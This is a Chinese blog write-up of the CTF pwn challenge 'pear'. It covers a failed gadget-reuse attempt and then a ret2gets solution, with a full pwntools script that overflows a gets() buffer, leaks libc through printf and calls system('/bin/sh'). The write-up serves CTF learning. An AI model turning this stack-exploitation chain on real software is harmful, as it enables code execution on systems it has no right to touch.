pear

pear

道阻且长,行则将至。

很高兴,学到了一种新的栈上的利用手法。好久没看栈,才发现在高版本的libc中pop rdi;ret几乎已经销声匿迹了,虽然gets在现在的程序中几乎已经不会再使用,但能够学习到这样巧妙的攻击方式还是很高兴的。

题目描述

image

image

一个平平无奇,看似十分简单的栈上的题目。一个很显而易见的溢出点gets

解题过程

本来以为就是一个ret2libc,但是脚本写了一半去寻找gadget的时候,发现没有pop rdi;ret​,当时也没当一回事(主要是之前也没了解过ret2gets),之前也是遇到过几次没有pop rdi;ret的题目,一次是xyctf里面的ret2libc的复仇,还有一次是京麒的Oldwine。所以在最开始我以为是代码段的复用

误入歧途

通过我坚持不懈的查看代码段,我发现了一处可以利用的小片段

1
2
gadget1=0x0000000004011EC #get&printf
gadget2=0x00000000004011FD #printf

image

我发现这里会根据rbp+0x80处的值设置rdi,所以很显而易见的,我想到了通过第一次覆盖的时候设置rbp的值到bss段上,那里存放着很多有用的地址例如:stdin,stdout之类的。然后我就可以设置rdi的值然后进行泄露。事实上,我也确实通过这一方法泄露出了stdout的地址

image

image

但是这样泄露的话,会进行栈迁移到bss段上(开始结尾的地方有一个leave ret,调用了printf后又会进行一次leave ret),然后就没办法控制后续程序,所以我修改了一下打算先调用这个gadget1=0x0000000004011EC #get&printf​然后再调用gadget2=0x00000000004011FD #printf这样就可以控制返回地址的情况下泄露地址

这是我的代码

1
2
3
4
5
6
7
8
9
10
payload=b'a'*0x80+p64(bss+0x80+0x80)+p64(gadget1)
payload1=p64(main_addr)*2+b'a'*0x70+p64(bss+0x80)+p64(gadget2)
gdb.attach(io)
io.sendline(payload)

# io.recvuntil(b'Welcome to Tech Olympics 2025, Dear aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb0@@')
io.sendline(payload1)
# io.recvuntil(b'Welcome to Tech Olympics 2025, Dear ')
# data=u64(io.recv(6).ljust(8,b'\x00'))
# log.success('leak:'+hex(data))

我的想法是(看不明白也没关系,反正是错的)

dfd931e31ad3260443c875b990a5472f_720

然后,程序就崩了(此时我真的感觉自己的想法已经可以打穿这道题目了)

image

image

后来发现不知道为什么,把我要泄露的地方的地址给我改了,也不知道是什么原因,看了挺久,但是也没有什么解决办法。然后这道题目还找不到wp,就放弃了一段时间

步入正轨

之前偶然在群里看见有人在问ret2gets,打算找时间来学学,我一看,这不和我这道题目的条件和限制一模一样吗。

终于找到了正确的方向了,原来是ret2gets,之前没了解过,还在想为什么有人能做这么快,原来是我方向找错了。

尝试了一下

虽然还没做出来,但是已经有东西泄露出来了

image

感觉再调调就可以了,太高兴了

然后需要注意的就是对齐问题,加一个ret就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
context(os='linux', arch='amd64', log_level='debug')


elf=ELF('./pear')
libc=ELF('/home/ouyang/.cache/.pwntools-cache-3.10/libcdb/sha1/5b02e178d9ded9b8c37a605e7a233687aa45f72f')
libc_dir = "/home/ouyang/.cache/.pwntools-cache-3.10/libcdb/sha1"
libc_file = libc_dir + "/5b02e178d9ded9b8c37a605e7a233687aa45f72f"

io = process(["./pear"], env={"LD_PRELOAD": libc_file})

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main_addr=elf.symbols['main']
get_addr=0x401080
leave_ret=0x401209
bss=0x404030
gadget1=0x0000000004011EC #get&printf
gadget2=0x00000000004011FD #printf
ret=0x000000000040101a
io.recvuntil(b'Please Enter your name: ')
#第一次尝试
# payload=b'a'*0x80+p64(bss+0x80)+p64(gadget2)
# gdb.attach(io)
# io.sendline(payload)

#第二次尝试
# payload=b'a'*0x80+p64(bss+0x80+0x80)+p64(gadget1)
# payload1=p64(bss)+p64(main_addr)+b'a'*0x70+p64(bss+0x80)+p64(gadget2)
# gdb.attach(io)
# io.sendline(payload)

# # io.recvuntil(b'Welcome to Tech Olympics 2025, Dear aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb0@@')
# io.sendline(payload1)
# # io.recvuntil(b'Welcome to Tech Olympics 2025, Dear ')
# # data=u64(io.recv(6).ljust(8,b'\x00'))
# # log.success('leak:'+hex(data))

#第三次尝试
payload=b'a'*0x80+p64(bss+0x80)+p64(get_addr)+p64(get_addr)+p64(ret)+p64(printf_plt)+p64(main_addr)

io.sendline(payload)
io.sendline(b"%3$p"+b'\x01')
io.sendline(b"%3$p"+b'\x01')
io.recvuntil(b'Welcome to Tech Olympics 2025, Dear aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb0@@')
io.recvline()
data=int(io.recv(14),16)
print("stdin:"+hex(data))
offset=0x7f687603d8e0-0x7f6875e3a000
libc_base=data-offset
log.success("libc_base:"+hex(libc_base))

system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh'))

io.recvuntil(b'Please Enter your name: ')
payload2=b'a'*0x80+p64(bss+0x80)+p64(get_addr)+p64(get_addr)+p64(system_addr)
gdb.attach(io)
io.sendline(payload2)
io.sendline(b'/bin'+p8(u8('/')+1)+b'sh\x00')
io.sendline(b'/bin'+p8(u8('/')+1)+b'sh\x00')

io.interactive()

image

应该是我的版本不对,这道题的版本太高了,我在pwndbg上调试的时候看到是可以执行system("/bin/sh\x00")

参考

ret2gets感觉别人的文章已经写得很详细了,我就不冗余的再写技术介绍了。建议直接去看国外的那位大佬的文章,非常详细。

ret2gets 一种控制rdi的攻击方法

ret2gets


pear
http://example.com/post/pear-z12hbrb.html
作者
N1mbus
发布于
2025年10月15日
更新于
2025年10月15日
许可协议